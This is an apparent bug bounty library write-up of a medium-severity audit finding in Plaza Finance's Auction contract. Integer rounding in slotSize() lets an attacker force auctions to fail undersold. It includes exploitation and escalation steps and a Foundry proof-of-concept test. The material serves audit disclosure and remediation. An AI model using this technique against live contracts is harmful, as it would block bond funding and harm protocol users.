# Rounding loss in Auction#slotSize allows malicious user to force auction to be undersold

Integer division rounding in Auction.slotSize lets an attacker spam max bids at slotSize to force an underfunded auction to fail and DOS bond payments.

- Payout: Audit contest
- Severity: medium
- Program: Plaza Finance
- Found by: 0x52
- Disclosed: 2024-12-16
- Write-up quality: 6/10
- Original: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/449
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-12-plaza-finance%3AM-7
- Tags: area:web3 domain:web3 impact:dos kind:contest platform:sherlock sev:medium tech:solidity technique:source-review vuln:accounting-error vuln:dos vuln:precision-loss

**Target:** Auction contract bid/slotSize logic
**Root cause:** slotSize() computes totalBuyCouponAmount / maxBids with truncation, so maxBids bids of exactly slotSize sum to less than totalBuyCouponAmount, leaving the auction underfunded at end.
**Steps:**
1. Deploy/observe Auction with totalBuyCouponAmount=5000e6+1, maxBids=10
2. Attacker submits maxBids (10) bids each of size slotSize() = totalBuyCouponAmount/maxBids (truncated)
3. Each bid passes the even-division check and rolls off the lowest bids
4. Warp to endTime and call `endAuction()`
5. Auction state becomes FAILED_UNDERSOLD despite total bids ~10000e6
**How found:** Code review of the slotSize even-division anti-spam check, noticing integer division truncation makes the sum of maxBids bids fall short of the target.
**Exploitation:** Attacker floods the bid list with maxBids minimal bids equal to slotSize(), evicting legitimate bids; at auction end the truncated sum is below totalBuyCouponAmount so the auction fails UNDERSOLD, then attacker refunds all bids.
**Escalation:** Repeated across auctions to indefinitely DOS bond payments and prevent funding.
**Insight:** Anti-spam checks that require bids to evenly divide a truncated quotient can be satisfied by maxBids minimal bids whose sum is strictly less than the target; always check whether maxBids * (total/maxBids) >= total.

## Proof of concept (copied exactly from the original report)

**Foundry test forcing auction to fail undersold**

```
function testDOSAuction() public {
        //test setup
        Token rToken = Token(params.reserveToken);
        Token cToken = Token(params.couponToken);

        vm.prank(user);
        address auction = Utils.deploy(
        address(new Auction()),
        abi.encodeWithSelector(
            Auction.initialize.selector,
            address(cToken),
            address(rToken),
            5000e6 + 1,
            block.timestamp + 1 days,
            10, // max bids set to 10 for simplicity of the test
            address(this),
            90
        ));

        cToken.mint(user, 1e18);
        cToken.mint(user2, 1e18);

        vm.prank(user);
        cToken.approve(auction, type(uint256).max);

        vm.prank(user2);
        cToken.approve(auction, type(uint256).max);

        vm.prank(user);
        Auction(auction).bid(1e6, 5000e6);
        
        for(uint i=0; i<10; i++){
        vm.prank(user2);
        Auction(auction).bid(0.05e6, 500e6);
        }

        vm.warp(Auction(auction).endTime());

        Auction(auction).endAuction();

        // auction has received a total of 10000e6 worth of bids but still fails due to rounding error
        assert(Auction(auction).state() == Auction.State.FAILED_UNDERSOLD);
    }
```

